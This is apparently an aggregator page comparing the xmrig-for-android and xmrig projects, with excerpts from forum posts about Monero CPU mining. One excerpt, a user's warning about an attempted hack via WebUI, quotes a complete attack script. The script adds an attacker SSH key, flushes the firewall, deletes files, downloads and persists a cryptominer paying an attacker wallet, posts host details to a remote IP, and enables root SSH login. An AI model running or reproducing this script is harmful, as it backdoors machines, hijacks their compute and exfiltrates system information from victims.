xmrig-for-android
xmrig
xmrig-for-android | xmrig | |
---|---|---|
51 | 363 | |
125 | 8,344 | |
9.6% | - | |
0.0 | 8.1 | |
almost 2 years ago | 4 days ago | |
TypeScript | C | |
MIT License | GNU General Public License v3.0 only |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
xmrig-for-android
-
Google's reCAPTCHA likely illegal in Europe?
The screenshot here shows 117H/s, and I guess the Android version hasn’t been as heavily optimized: https://github.com/XMRig-for-Android/xmrig-for-android
I think we‘d need to compare apples to apples, and not use Monero mining as a benchmark for mCaptcha. Also, as I wrote in another comment, the average case (server is not under attack) is 0.02 seconds on a laptop, and probably 0.4s on an Android device if we use xmrig-android as comparison.
- Android CPU mining
-
P2pool for Android?
P2Pool software has not been ported to Android. It is quite a senseless task, so I don't expect that happens in an overseen future. You have to build and install P2Pool on a PC or VPS. I strongly recommend Ubuntu since all the build instructions can be easily copy-pasted from the P2pool official GitHub page. Then, you just point your XMRig for Android running via termux to your P2pool instance on a PC or VPS.
-
How to Mine Monero on a Phone
And for older people like me who don't mind to read instead of watching videos: https://github.com/XMRig-for-Android/xmrig-for-android
-
What if cryptocurrencies ranked by number of nodes instead of marketcap?
I can use my phone to CPU mine with https://github.com/XMRig-for-Android/xmrig-for-android albeit at a very low hashrate. IDK about GPU mining though, seems like that could be more useful. But if you root your android device you can pretty much install anything you would on a linux system, with exceptions.
Also, I don't see why you couldn't just distribute a defi app on android as an APK, including tornado cash. I don't really know if trading on leverage is a critical part of using cryptocurrency, but I don't really see how you would be prevented from doing that on mobile unless your CEX distributes a different desktop app.
Crypto is not heavily censored in the US. I mean maybe, but it depends on what state you live in. Also, you can't legally mix coins as a service like tornado cash or coinjoin server, as that constitutes money laundering.
- Can I Monero Mine with Raspberry Pi +3
-
Where to download not on playstore? Please puload the app to some mirror
The Github
- Release 0.0.39 · XMRig-for-Android/xmrig-for-android
-
Release 0.0.37 · XMRig-for-Android/xmrig-for-android
CPU Temperature by @garrylachman in https://github.com/XMRig-for-Android/xmrig-for-android/pull/107
-
Release 0.0.36 · XMRig-for-Android/xmrig-for-android
Full Changelog: https://github.com/XMRig-for-Android/xmrig-for-android/compare/0.0.35...0.0.36
xmrig
-
Gupax - Enabling 1GB Pages ain't working
I'm not so new to XMRig, but I am new to Gupax.io and I'm lost on how I can get 1GB Pages from Disabled to Enabled in the XMRig portion of Gupax. Yes, my CPU supports it. Yes, I made sure my Linux OS uses HugePages. Yes, my RAM and OS CLI checks reflect their usage. Yes, I've also used this script . It all works, except in Gupax.
-
Just experienced an attempted hack. A warning to anyone using WebUI.
#!/bin/bash WALLET="41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b" PORT=$(( 15555 )) export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin if [ -z $HOME ]; then if [ "$(id -u)" == "0" ]; then export HOME=/root elif [ "$(id -u)" != "0" ]; then export USER=$(whoami) export HOME=/home/$USER elif [ -z $HOME ]; then export HOME=/tmp fi fi if [ ! -d $HOME ]; then mkdir -p $HOME fi mkdir $HOME/.ssh ; touch $HOME/.ssh/authorized_keys ; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi3pUF++QmmM6Jo4/wMWqOxmdJotN85QpbkRfYuw9QN5aO35RLSJw7o2UOXN9vsaxnIg9wunNstVff22vyjrFrXTNrHaI///P3d4T4w6CCgLlNdNKgKTG176Y7KBmkWWeZvd8phtIaMprhGSbtnvs4v0hADTw+Ej20EeKfphlZsRSVS6zObq6jro4j8iIXvnGEdkIx8b1SP+QK6D+ZOEQxEzD107latrwYbLCNHWX7VP1oK6fbFk3zU+CGOwITiVPKuyX9aNFJVEopZSmreD+b+JoXpYHybiuhL3ex79uCWNWKnfGgBKrSAmnmopvYnd/mQ902ls16j/Cr/YYKhUvFMC7MhuWdazvM9uFT07c8PSPsEJ+vJpW3t2HQkW89mxqjp1rEvURUlqZtkL/3hZEMaamP6phHpSttncyWiMGuLZxoub/2GM8C09+GOOTaf47//mGxtNs5FNWqjyiznznrc=" >> $HOME/.ssh/authorized_keys ; chmod 600 $HOME/.ssh/authorized_keys if ! (type wget >/dev/null || type curl >/dev/null); then echo "ERROR: This script requires \"wget or curl\" utility to work correctly" exit 1 fi # start doing stuff: preparing miner echo "[*] Removing previous c3pool miner (if any)" if sudo -n true 2>/dev/null; then sudo systemctl stop c3pool_miner.service 2>/dev/null sudo systemctl disable c3pool_miner.service 2>/dev/null sudo systemctl disable xmrig.service 2>/dev/null sudo killall xmrig 2>/dev/null sudo pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null else killall -9 xmrig 2>/dev/null killall xmrig 2>/dev/null pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null fi iptables -P INPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -F 2>/dev/null echo "[*] Removing $HOME/.c3pool directory" rm -rf $HOME/c3pool 2>/dev/null rm -rf $HOME/.c3pool 2>/dev/null rm -rf /tmp/c3pool 2>/dev/null rm -rf /tmp/* 2>/dev/null find . -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find . -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find . -name "*miner*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*miner*" -exec rm -rf {} \; 2>/dev/null echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz" if ! (wget -q -O /tmp/xmrig.tar.gz "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" || curl -s "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz); then echo "ERROR: Can't download file." exit 1 fi echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/.c3pool" [ -d $HOME/.c3pool ] || mkdir $HOME/.c3pool [ -f $HOME/.c3pool/.profile ] || touch $HOME/.c3pool/.profile if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool; then echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" exit 1 fi rm /tmp/xmrig.tar.gz echo "[*] Checking if advanced version of $HOME/.c3pool/xmrig works fine (and not removed by antivirus software)" $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "WARNING: Advanced version of $HOME/.c3pool/xmrig is not functional or got removed" fi echo "[*] Looking for the latest version of Monero miner" LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'` LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2` echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz" if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz" exit 1 fi if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool --strip=1; then echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" fi rm /tmp/xmrig.tar.gz $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "ERROR: Stock version of $HOME/.c3pool/xmrig is not functional too" else echo "ERROR: Stock version of $HOME/.c3pool/xmrig was removed by antivirus too" fi exit 1 fi fi echo "[*] Miner $HOME/.c3pool/xmrig is OK" PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` if [ "$PASS" == "localhost" ]; then PASS=`ip route get 1 | awk '{print $NF;exit}'` fi if [ -z $PASS ]; then PASS=na fi if [ ! -z $EMAIL ]; then PASS="$PASS:$EMAIL" fi sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.c3pool/config.json sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/.c3pool/config.json sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.c3pool/config.json sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.c3pool/config.json sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.c3pool/config.json sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' $HOME/.c3pool/config.json sed -i 's#"log-file": *null,#"log-file": "'$HOME/.c3pool/xmrig.log'",#' $HOME/.c3pool/config.json sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.c3pool/config.json cp $HOME/.c3pool/config.json $HOME/.c3pool/config_background.json sed -i 's/"background": *false,/"background": true,/' $HOME/.c3pool/config_background.json # preparing script echo "[*] Creating $HOME/.c3pool/miner.sh script" cat >$HOME/.c3pool/miner.sh /dev/null; then if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then echo "[*] Enabling huge pages" echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf >/dev/null sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) >/dev/null else echo "[*] Huge already enabled" fi else echo "[*] Not enabling huge pages" fi touch $HOME/.profile sed -i '/c3pool/d' $HOME/.profile echo "$HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1" >>$HOME/.profile #echo "ulimit -n 65000 >/dev/null 2>&1" >>$HOME/.profile chmod +x $HOME/.c3pool/miner.sh (/bin/bash $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1 || /bin/sh $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1) rm -rf /tmp/*.sh rm -rf /tmp/* if pidof xmrig >/dev/null; then PID=$(pidof xmrig) echo "Running with $PID" else echo "Not Running" fi IP=$(curl -s -4 http://ip.me) HOSTNAME=$(hostname) USERNAME=$(whoami) HOMEDIR=$(echo ~) CPU_COUNT=$(nproc) MEMORY=$(free -h | awk '/^Mem:/ {print $2}') ARCHI=$(uname -m) (curl -X POST -H "Content-Type: application/json" -d "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add || wget --header "Content-Type: application/json" --post-data "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add) (chmod go-w ~/ && chmod go-w /root && chmod 700 ~/.ssh && chmod 700 /root/.ssh && chmod 600 ~/.ssh/authorized_keys && chown root /root && chown root /root/.ssh) >/dev/null sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config >/dev/null sudo sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config >/dev/null sudo /etc/init.d/ssh restart >/dev/null
-
Best mining program on Windows?
Xmrig and use a pool that isn't one of the top three. If you want a have more of a challenge then try the p2pool with xmrig. https://github.com/xmrig/xmrig/releases/tag/v6.19.3
-
Over 110k BAN has been distributed to BanRXers!
Regarding how much you can trust BanRX, all of the mining software used is fully open source on GitHub, with a commonly used one (XMrig) having over 7.6k stars on the repository. We also have a community Discord server for all of the apps in the BananoPlanet ecosystem, including our faucet! You can join the BananoPlanet Discord server at https://bananoplanet.cc/discord.
-
Awesome miner tech support
I would recommend running XMRig directly so as to weed out any problems related to AwesomeMiner.
-
Question about withdrawing from nicehash
I’m guessing you are also CPU mining? That is likely an issue with XMRig, correct? If so, first be sure you launch NiceHash as Admin. Right-click the shortcut -> Properties -> Shortcut tab -> Advanced -> Run as administrator. Relaunch NiceHash from the update shortcut, and approve the User Account Control prompt. If that doesn’t solve it, leave the setting intact, but try a couple of other options: 1. toggle “Disable Device Status Monitoring” from NiceHash settings cog icon -> Advanced tab, which is an easy fix that prevents temperature monitoring. 2. the better solution, is to overwrite your XMRig.exe in the XMRig plug-in internals directory [NiceHash Plugins tab -> XMRig -> three dots -> Show Internals -> bins directory -> latest (i.e., 19.1) -> XMRig directory (i.e., xmrig-6.8.1) -> XMRig.exe] with the latest version (v6.19.3) of XMRig.exe available from https://github.com/xmrig/xmrig/releases . For me, swapping the .exe file and running as Admin resolves the issue.
-
New XMRig release 6.19.3
#3245 Improved algorithm negotiation for donation rounds by sending extra information about current mining job.
-
How do I know if I'm actually mining Monero correctly and everything is alright?
Downloaded and extracted https://xmrig.com/. The Linux CPU only one.
-
How to Mine Ghostrider on Windows
XMRIG: https://github.com/xmrig/xmrig/releases
-
Mining Monero
Monero is mined with CPU, and the best software for this is XMRig. You will need to join a mining pool to mine Monero.
What are some alternatives?
Aminer - ⛏️ Mining with Android devices. 使用 Android 设备来挖矿.
csminer - csminer Monero miner from https://cryptonote.social/
XmrigOnAndroid - Setup script and instructions to mine on an android device
NBMiner - GPU Miner for ETH, RVN, BEAM, CFX, ZIL, AE, ERGO
monerodevs.org
cpuminer-opt-cpupower - Optimized multi algo CPU miner for CPUchain, Uranium-X, Cranepay, Yenten
monero - Monero: the secure, private, untraceable cryptocurrency
SRBMiner-Multi - CPU & AMD GPU cryptocurrency miner
termux-app - Termux - a terminal emulator application for Android OS extendible by variety of packages.
xmr-stak - Free Monero RandomX Miner and unified CryptoNight miner
mCaptcha - A no-nonsense CAPTCHA system with seamless UX | Backend component
cpuminer - CPU miner for Litecoin and Bitcoin